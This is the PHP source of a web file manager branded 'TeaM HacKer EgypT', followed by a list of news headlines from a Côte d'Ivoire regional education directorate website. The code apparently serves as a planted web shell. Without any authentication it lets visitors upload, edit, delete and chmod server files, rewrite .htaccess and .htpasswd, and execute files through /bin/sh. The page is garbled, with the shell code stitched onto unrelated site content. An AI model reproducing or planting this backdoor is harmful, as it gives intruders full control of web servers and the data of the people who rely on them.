* added workaround for directory listing, if lstat() is disabled
* fixed permisson of uploaded files (thanks to Stephan Duffner)
*
* Changes of revision 8
*
* added Turkish translation
*
* added Czech translation
* <>
* improved charset handling
*
* Changes of revision 7
*
* added Spanish translation
*
* added Danish translation
* <>
* improved rename dialog
*
* Changes of revision 6
*
* added Dutch translation
*
* Changes of revision 5
* <>
* added language auto select
* fixed symlinks in directory listing
* removed word-wrap in edit textarea
*
* Changes of revision 4
*
* added French translation
*
* added Swedish translation
*
* Changes of revision 3
*
* improved Italian translation
*
* Changes of revision 2
* <>
* got images work in some old browsers
* fixed creation of directories
* fixed files deletion
* improved path handling
* added missing word 'not_created'
*
* improved human readability of file sizes
*
* added Italian translation
*
* Changes of revision 1
* <>
* TeaM HacKer EgypT completely rewritten:
* - clean XHTML/CSS output
* - several files selectable
* - support for windows servers
* - no more treeview, because
* - TeaM HacKer EgypT is a >simple< file manager
* - performance problems (too much additional code)
* - I don't like: frames, java-script, to reload after every treeview-click
* - execution of shell scripts
* - introduced revision numbers
*
/* ------------------------------------------------------------------------- */

/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'auto' - autoselect
*/
$lang = 'auto';

/* Charset of output:
* possible values are described in the charset table at
* http://www.php.net/manual/en/function.htmlentities.php
* 'auto' - use the same charset as the words of my language are encoded
*/
$site_charset = 'auto';

/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';

/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;

/* -------------------------------------------
* Optional configuration (remove # to enable)
*/

/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;

/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;

/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';

/* ------------------------------------------------------------------------- */

if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}

if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}

if (!function_exists('lstat')) {
function lstat ($filename) {
return stat($filename);
}
}

$delim = DIRECTORY_SEPARATOR;

if (function_exists('php_uname')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
} else {
$win = ($delim == '\\') ? true : false;
}

if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);

$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;

if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}

$directory = simplify_path(addslash($dir));

$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
$files[] = $_POST["file$i"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit$i", $_POST)) break;
}
if ($i < $_POST['num']) {
$action = $_POST["action$i"];
$files[] = $_POST["file$i"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) $action = ''; else $file = reset($files);

if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}

$words = getwords($lang);

if ($site_charset == 'auto') {
$site_charset = $word_charset;
}

$cols = ($win) ? 4 : 7;

if (!isset($dirpermission)) {
$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset($filepermission)) {
$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}

if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}

if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}

switch ($action) {

case 'view':

if (is_script($file)) {

/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('', '', ob_get_contents());
$src = str_replace(array('
', "\r", "\n"), array('', '', ''), $src);
ob_end_clean();

html_header();
echo '

' . html($file) . '












';

for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";

echo '


' . $src . '



';

html_footer();

} else {

header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));

readfile($file);

}

break;

case 'download':

header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));

readfile($file);

break;

case 'upload':

$dest = relative2absolute($file['name'], $directory);

if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}

break;

case 'create_directory':

if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}

break;

case 'create_file':

if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}

break;

case 'execute':

chdir(dirname($file));

$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);

$error = ($retval == 0) ? false : true;

if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');

if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}

break;

case 'delete':

if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {

$failure = array();
$success = array();

foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}

$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}

listing_page($message);

} else {

html_header();

echo '






';

request_dump();

echo "\t" . word('really_delete') . '


';

foreach ($files as $file) {
echo "\t" . html($file) . "
\n";
}

echo '









';

html_footer();

}

break;

case 'rename':

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}

} else {

$name = basename($file);

html_header();

echo '










' . word('rename_file') . '

' . html($file) . '


' . substr($file, 0, strlen($file) - strlen($name)) . '






[ ' . word('back') . ' ]





';

html_footer();

}

break;

case 'move':

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

$failure = array();
$success = array();

foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}

$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}

listing_page($message);

} else {

html_header();

echo '







';

request_dump();

echo "\t" . word('move_files') . '


';

foreach ($files as $file) {
echo "\t" . html($file) . "
\n";
}

echo '




' . word('destination') . ':




[ ' . word('back') . ' ]





';

html_footer();

}

break;

case 'copy':

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

if (@is_dir($dest)) {

$failure = array();
$success = array();

foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}

$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}

listing_page($message);

} else {

if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}

}

} else {

html_header();

echo '







';

request_dump();

echo "\n" . word('copy_files') . '


';

foreach ($files as $file) {
echo "\t" . html($file) . "
\n";
}

echo '




' . word('destination') . ':




[ ' . word('back') . ' ]





';

html_footer();

}

break;

case 'create_symlink':

if (!empty($_POST['destination'])) {

$dest = relative2absolute($_POST['destination'], $directory);

if (substr($dest, -1, 1) == $delim) $dest .= basename($file);

if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);

if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}

} else {

html_header();

echo '













[ ' . word('back') . ' ]





';

html_footer();

}

break;

case 'edit':

if (!empty($_POST['save'])) {

$content = str_replace("\r\n", "\n", $_POST['content']);

if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}

} else {

if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}

}

break;

case 'permission':

if (!empty($_POST['set'])) {

$mode = 0;
if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;

if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}

} else {

html_header();

$mode = fileperms($file);

echo '








' . phrase('permission_for', $file) . '































' . word('owner') . ' ' . word('group') . ' ' . word('other') . '
' . word('read') . ':
' . word('write') . ':
' . word('execute') . ':













[ ' . word('back') . ' ]





';

html_footer();

}

break;

default:

listing_page();

}

/* ------------------------------------------------------------------------- */

function getlist ($directory) {
global $delim, $win;

if ($d = @opendir($directory)) {

while (($filename = @readdir($d)) !== false) {

$path = $directory . $filename;

if ($stat = @lstat($path)) {

$file = array(
'filename' => $filename,
'path' => $path,
'is_file' => @is_file($path),
'is_dir' => @is_dir($path),
'is_link' => @is_link($path),
'is_readable' => @is_readable($path),
'is_writable' => @is_writable($path),
'size' => $stat['size'],
'permission' => $stat['mode'],
'owner' => $stat['uid'],
'group' => $stat['gid'],
'mtime' => @filemtime($path),
'atime' => @fileatime($path),
'ctime' => @filectime($path)
);

if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}

if ($file['is_link']) $file['target'] = @readlink($path);

if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));

$files[] = $file;

}

}

return $files;

} else {
return false;
}

}

function sortlist (&$list, $key, $reverse) {

quicksort($list, 0, sizeof($list) - 1, $key);

if ($reverse) $list = array_reverse($list);

}

function quicksort (&$array, $first, $last, $key) {

if ($first < $last) {

$cmp = $array[floor(($first + $last) / 2)][$key];

$l = $first;
$r = $last;

while ($l <= $r) {

while ($array[$l][$key] < $cmp) $l++;
while ($array[$r][$key] > $cmp) $r--;

if ($l <= $r) {

$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;

$l++;
$r--;

}

}

quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);

}

}

function permission_octal2string ($mode) {

if (($mode & 0xC000) === 0xC000) {
$type = 's';
} elseif (($mode & 0xA000) === 0xA000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}

$owner = ($mode & 00400) ? 'r' : '-';
$owner .= ($mode & 00200) ? 'w' : '-';
if ($mode & 0x800) {
$owner .= ($mode & 00100) ? 's' : 'S';
} else {
$owner .= ($mode & 00100) ? 'x' : '-';
}

$group = ($mode & 00040) ? 'r' : '-';
$group .= ($mode & 00020) ? 'w' : '-';
if ($mode & 0x400) {
$group .= ($mode & 00010) ? 's' : 'S';
} else {
$group .= ($mode & 00010) ? 'x' : '-';
}

$other = ($mode & 00004) ? 'r' : '-';
$other .= ($mode & 00002) ? 'w' : '-';
if ($mode & 0x200) {
$other .= ($mode & 00001) ? 't' : 'T';
} else {
$other .= ($mode & 00001) ? 'x' : '-';
}

return $type . $owner . $group . $other;

}

function is_script ($filename) {
return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
}

function getmimetype ($filename) {
static $mimes = array(
'\.jpg$|\.jpeg$' => 'image/jpeg',
'\.gif$' => 'image/gif',
'\.png$' => 'image/png',
'\.html$|\.html$' => 'text/html',
'\.txt$|\.asc$' => 'text/plain',
'\.xml$|\.xsl$' => 'application/xml',
'\.pdf$' => 'application/pdf'
);

foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) return $mime;
}

// return 'application/octet-stream';
return 'text/plain';

}

function del ($file) {
global $delim;

if (!@is_link($file) && !file_exists($file)) return false;

if (!@is_link($file) && @is_dir($file)) {

if ($dir = @opendir($file)) {

$error = false;

while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$error = true;
}
}
closedir($dir);

if (!$error) return @rmdir($file);

return !$error;

} else {
return false;
}

} else {
return @unlink($file);
}

}

function addslash ($directory) {
global $delim;

if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}

}

function relative2absolute ($string, $directory) {

if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}

}

function path_is_relative ($path) {
global $win;

if ($win) {
return (substr($path, 1, 1) != ':');
} else {
return (substr($path, 0, 1) != '/');
}

}

function absolute2relative ($directory, $target) {
global $delim;

$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') $path = '.';

return $path;

}

function simplify_path ($path) {
global $delim;

if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}

$pattern = $delim . '.' . $delim;

if (@is_dir($path)) {
$path = addslash($path);
}

while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}

$e = addslashes($delim);
$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;

while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}

return $path;

}

function human_filesize ($filesize) {

$suffices = 'kMGTPE';

$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}

$filesize = round($filesize, 3 - strpos($filesize, '.'));

if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}

$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));

return $filesize . " {$suffix}B";

}

function strip (&$str) {
$str = stripslashes($str);
}

/* ------------------------------------------------------------------------- */

function listing_page ($message = null) {
global $self, $directory, $sort, $reverse;

html_header();

$list = getlist($directory);

if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;

sortlist($list, $sort, $reverse);

echo '

TeaM HacKer EgypT






';

directory_choice();

if (!empty($message)) {
spacer();
echo $message;
}

if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}

if ($list) {
listing($list);
} else {
echo error('not_readable', $directory);
}

echo '




';

html_footer();

}

function listing ($list) {
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;

echo '
smiley " . word('filename') . " " . word('size') . " " . word('permission') . " " . word('owner') . " " . word('group') . " ' . word('functions') . '
';

if ($file['is_link']) {

echo 'link ';
echo html($file['filename']) . ' → ';

$real_file = relative2absolute($file['target'], $directory);

if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ ' . html($file['target']) . ' ]';
} else {
echo '' . html($file['target']) . '';
}
} else {
echo html($file['target']);
}

} elseif ($file['is_dir']) {

echo 'folder [ ';
if ($win || $file['is_executable']) {
echo '' . html($file['filename']) . '';
} else {
echo html($file['filename']);
}
echo ' ]';

} else {

if (substr($file['filename'], 0, 1) == '.') {
echo 'hidden file ';
} else {
echo 'file ';
}

if ($file['is_file'] && $file['is_readable']) {
echo '' . html($file['filename']) . '';
} else {
echo html($file['filename']);
}

}

if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}

echo "\t
{$file['size']} B ';

$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) echo '';
echo html(permission_octal2string($file['permission']));
if ($l) echo '
';

echo "
{$file['owner_name']}{$file['owner']} {$file['group_name']}{$file['group']}

';

$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) $actions[] = 'edit';
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}

if (sizeof($actions) > 0) {

echo '

';

}

echo '

' . word('directory') . ':



' . word('file') . ':
















';

if ($apache && basename($file) == $htpasswd) {
echo '
' . word('user') . ':
' . word('password') . ':




';

}

if ($apache && basename($file) == $htaccess) {
echo '




';

}

echo '








[ ' . word('back') . ' ]





';

html_footer();

}

function spacer () {
global $cols;

echo '


 


Autres actualités :

PRESENTATION DE VŒUX A MADAME LE DIRECTEUR REGIONAL  -  26/02/2019 à 16:23:10
MADAME COULIBALY FANTA, COMMANDEUR DE L’ORDRE DU MERITE DE LA FONCTION PUBLIQUE  -  26/02/2019 à 16:12:28
MADAME COULIBALY FANTA, COMMANDEUR DE L’ORDRE DU MERITE DE LA FONCTION PUBLIQUE  -  26/02/2019 à 12:01:21
FESTIVAL INTERNATIONAL DE POESIE D’ABIDJAN La DREN Abidjan 2 remporte le prix de la meilleure DRENET-FP  -  29/10/2018 à 09:34:49
Réunion de rentrée 2018-2019 de la DREN ABIDJAN2/ Madame COULIBALY FANTA encourage ses collaborateurs à plus de rendement au travail  -  05/10/2018 à 12:42:50
Rentrée Scolaire 2018-2019 / La Fondation Children of Africa offre 15 000 kits scolaires aux enfants de Côte d’Ivoire  -  05/10/2018 à 12:37:10
CONCOURS DE MATHEMATIQUES :LES MEILLEURS ELEVES DE LA COMMUNE DE MARCORY RECOMPENSES.  -  26/06/2018 à 10:07:48
RENCONTRES PERIODIQUES DE LA DRENET-FP ABIDJAN2 AVEC LES SYNDICATS:LE MIDD REÇU  -  25/06/2018 à 16:49:14
BEPC 2018:LANCEMENT DES ÉPREUVES ÉCRITES PAR M.KABRAN ASSOUMOU DIRECTEUR DE CABINET DE MADAME KANDIA CAMARA,MINISTRE DE L’ÉDUCATION NATIONALE,DE L'ENSEIGNEMENT TECHNIQUE.  -  25/06/2018 à 12:20:27
JOURNÉE DE L’EXCELLENCE AU COLLÈGE MODERNE AUTOROUTE DE TREICHVILLE :39 ÉLÈVES ET PERSONNELS RÉCOMPENSÉS  -  04/06/2018 à 16:19:58
FETE DES MERES 2018 : LES AGENTS DE LA DREN ABIDJAN2 HONORENT MADAME COULIBALY FANTA  -  01/06/2018 à 11:58:53
7ème EDITION DU CONCOURS REGIONAL DE MATHEMATIQUES: La Société Mathématique de Côte d’Ivoire récompense les 27 meilleurs élèves  -  25/05/2018 à 12:29:16
JOURNEES CARRIERES 2018 : MADAME COULIBALY FANTA ENCOURAGE LES ELEVES A TIRER LE MAXIMUM DE PROFIT  -  19/04/2018 à 16:29:14
CONCOURS DE CAFOP 2018: LA DECO renforce la capacité des acteurs  -  17/04/2018 à 08:20:59
Lutte contre la malnutrition en milieu scolaire DANIEL KABLAN DUNCAN félicite la compagnie HERSHEY  -  21/02/2018 à 09:06:49
L’Ecole régionale de Treichville célèbre ses 100 ans  -  13/02/2018 à 15:15:16
CENTENAIRE DU GROUPE SCOLAIRE REGIONAL DE TREICHVILLE : L’AVANT PREMIERE A EU LIEU EN PRESENCE DE MME COULIBALY FANTA  -  12/02/2018 à 12:44:54
CENTENAIRE DU GROUPE SCOLAIRE REGIONAL DE TREICHVILLE : L’AVANT PREMIERE A EU LIEU EN PRESENCE DE MME COULIBALY FANTA  -  12/02/2018 à 12:33:01
DREN ABIDJAN 2 La Caisse de Solidarité Agissante présente ses vœux au Directeur Régional  -  12/02/2018 à 12:21:35
DREN ABIDJAN 2/CEREMONIE DE REMISE DE PRIX AUX ELEVES DE L’INSTITUT LIBANAIS  -  12/02/2018 à 12:09:44
COMPTE RENDU DE LA FORMATION DU MERCREDI 17 JANVIER 2018  -  12/02/2018 à 11:51:08
REUNION MENSUELLE DU SERVICE ALPHABETISATION DE LA DRENET ABIDJAN2  -  12/02/2018 à 11:46:06
LE DREN ABIDJAN 3 PERD UNE GRANDE COLLABORATRICE : LA AAC EST DECEDEE.  -  22/01/2018 à 11:27:56
ACTIVITES DU SERVICE DE LA MUTUALITE ET DES ŒUVRES SOCIALES : LE BILAN DES ACTIVITES DU PREMIER TRIMESTRE FAIT.  -  22/01/2018 à 11:24:16
Réunion de Madame le DREN A2 avec les promoteurs des cours du soir.  -  22/01/2018 à 11:22:09
LE DREN ABIDJAN 3 PERD UNE GRANDE COLLABORATRICE : LA AAC EST DECEDEE.  -  22/01/2018 à 11:22:07
LE DREN ABIDJAN 3 PERD UNE GRANDE COLLABORATRICE : LA AAC EST DECEDEE.  -  22/01/2018 à 11:09:58
LE DREN ABIDJAN 3 PERD UNE GRANDE COLLABORATRICE : LA AAC EST DECEDEE.  -  22/01/2018 à 11:09:52
LE DREN ABIDJAN 3 PERD UNE GRANDE COLLABORATRICE : LA AAC EST DECEDEE.  -  22/01/2018 à 11:06:14
LE DREN ABIDJAN 3 PERD UNE GRANDE COLLABORATRICE : LA AAC EST DECEDEE.  -  22/01/2018 à 11:02:13
MALADIES CHRONIQUES  -  19/12/2017 à 10:36:00
MALADIES CHRONIQUES  -  19/12/2017 à 10:32:11
DREN ABIDJAN 2 / TOURNEE DE SENSIBILISATION DE LA DAPS-COGES DANS LE DISTRICT D’ABIDJAN  -  19/12/2017 à 09:58:33
Le Groupe Scolaire BAD 5- Municipalité 2 réhabilité  -  19/12/2017 à 09:29:50
REUNION DE RENTREE 2017-2018 AVEC LES AGENTS DE LA DRENET-FP Abidjan 2  -  21/11/2017 à 11:11:02
ABIDJAN 2/REUNION DE RENTREE 2017-2018 La directrice régionale appelle à la cohésion autour de l’école  -  02/11/2017 à 13:57:04
DREN Abidjan 2/ Journée de la Persévérance Les parents des meilleurs élèves célébrés  -  02/11/2017 à 11:56:34
ABIDJAN 2/ GESTION DES COGES Un nouvel outil de gestion lancé  -  02/11/2017 à 11:17:50
JOURNEE ZERO-GROSSESSE = ZERO RELATION SEXSUELLE : ADHESION TOTALE DES ELEVES  -  12/05/2017 à 10:32:33
JOURNEE MONDIALE DE LA SANTE BUCCO-DENTAIRE : LA DREN A 2 HONOREE  -  30/03/2017 à 13:08:03
SEANCE DE FORMATION A L’IEP KOUMASSI 2 : MADAME COULIBALY FANTA A OUVERT LA SEANCE  -  30/03/2017 à 12:58:20
NATUROPATHIE : CONFERENCE DU PROFESSEUR GOZOWLI KOFFI MAXIMIN A LA DREN A2  -  01/03/2017 à 15:52:55
MISSION D’INFORMATION : LA DIRECTION DES TECHNOLOGIES ET DES SYSTEMES D’INFORMATION DU MINISTERE SE FAIT CONNAITRE.  -  01/03/2017 à 10:27:58
« JOURNEE DE LA PERSEVERANCE » DE LA DREN A2 : REMISE DU PRIX DU PLUS MERITANT DES MERITANTS AU COLLEGE NOTRE DAME D’AFRIQUE  -  20/02/2017 à 13:39:48
LANCEMENT DU PROGRAMME BENEVOLAT ET VOLONTARIAT : PLANTING D’ARBRES AU LYCEE MODERNE DE TREICHVILLE  -  20/02/2017 à 13:34:27
sqd  -  02/01/2017 à 15:19:09
Test  -  26/12/2016 à 15:14:35
DREN A2  -  07/11/2016 à 14:54:47
DECO:  -  07/11/2016 à 14:46:40
DECO:  -  07/11/2016 à 14:24:18
2Eme EDITION DE LA JOURNEE DE LA PERSEVERANCE : LES PLUS MERITANTS ONT ETE HONORES  -  03/11/2016 à 07:03:58
CEREMONIE DE LANCEMENT DE DISTRIBUTION DE KITS DE LA FONDATION CHILDREN OF AFRICA : LA DREN 2 HONOREE  -  05/10/2016 à 13:21:25
MISSION D’INFORMATION ET DE SENSIBILISATION : GRANDE MOBILISATION DE LA COMMUNAUTE EDUCATIVE A LA DREN A 2  -  04/10/2016 à 09:06:37
DISTRIBUTION DE KITS SCOLAIRE: MME BEDIE VIENT A ZOE BRUNO LES MAINS CHARGEES.  -  16/09/2016 à 09:59:31
CEREMONIE DE LANCEMENT OFFICIEL DE DISTRIBUTION DE KITS SCOLAIRES : LES KITS SONT ABSOLUMENT GRATUITS  -  15/09/2016 à 15:28:20
INTERVENTION DE MME LE DIRECTEUR REGIONAL D’ABIDJAN 2 A LA REUNION DE RENTREE 2016/2017  -  14/09/2016 à 13:30:52
CONGES ET VACANCES  -  14/09/2016 à 13:02:10
DECOUPAGE TRIMESTRIEL DE L’ANNEE SCOLAIRE 2016/2017  -  14/09/2016 à 12:59:42
les statistiques définitives des admis au BAC 2016  -  31/08/2016 à 15:37:37
les statistiques définitives des admis au BEPC 2016.  -  31/08/2016 à 15:31:11
les statistiques définitives des admis au CEPE 2016.  -  31/08/2016 à 15:23:29
LISTE DES DIX MEILLEURS AU BAC SÉRIE C et D  -  31/08/2016 à 10:27:19
LISTE DES DIX MEILLEURS AU BAC 2016 SÉRIE A1 £ A2  -  31/08/2016 à 10:00:29
LISTE DES DIX PREMIERS AUX EXAMENS 2016  -  31/08/2016 à 09:25:53
esfasdw  -  25/07/2016 à 19:57:45
sanpedro  -  25/07/2016 à 19:56:56
DECORATION POUR L’ANNEE 2016 : BONNE MOISSON POUR LA DREN ABIDJAN 2  -  08/06/2016 à 10:46:06
INAUGURATION DE L’INSPECTION DE L’ENSEIGNEMENT PRESCOLAIRE ET PRIMAIRE DE TREICHVILLE : BON POINT POUR LA MAIRIE DE TREICHVILLE  -  08/04/2016 à 14:27:20
VIOLENCE EN MILIEU SCOLAIRE : FORMATION A L’INSTALLATION DES CLUBS DE PÉRENNISATION DU DÉBAT CONTRADICTOIRE  -  14/03/2016 à 14:36:09
MASA JEUNES PUBLICS 2016: GRANDE MOBILISATION DES ELEVES DE LA DREN ABIDJAN 2  -  11/03/2016 à 13:18:04
FESTIVITES DES 20 ANS DES COGES DE LA DREN ABIDJAN 2 : ANNIVERSAIRE FÊTE DANS LA FERVEUR  -  08/03/2016 à 16:51:06
CEREMONIE OFFICIELLE DE REMISE DE CLES AUX LYCEES MUNICIPAUX 1, 2 ET AU COLLEGE BAD DE KOUMASSI  -  26/02/2016 à 10:34:26
PRESENTATION DE VŒUX ET RECEPTION DES NOUVEAUX AGENTS A LA DREN ABIDJAN 2 : LES PERSONNELS ONT SOUHAITE TOUS LEURS VŒUX A MME COULIBALY FANTA  -  18/02/2016 à 08:25:33
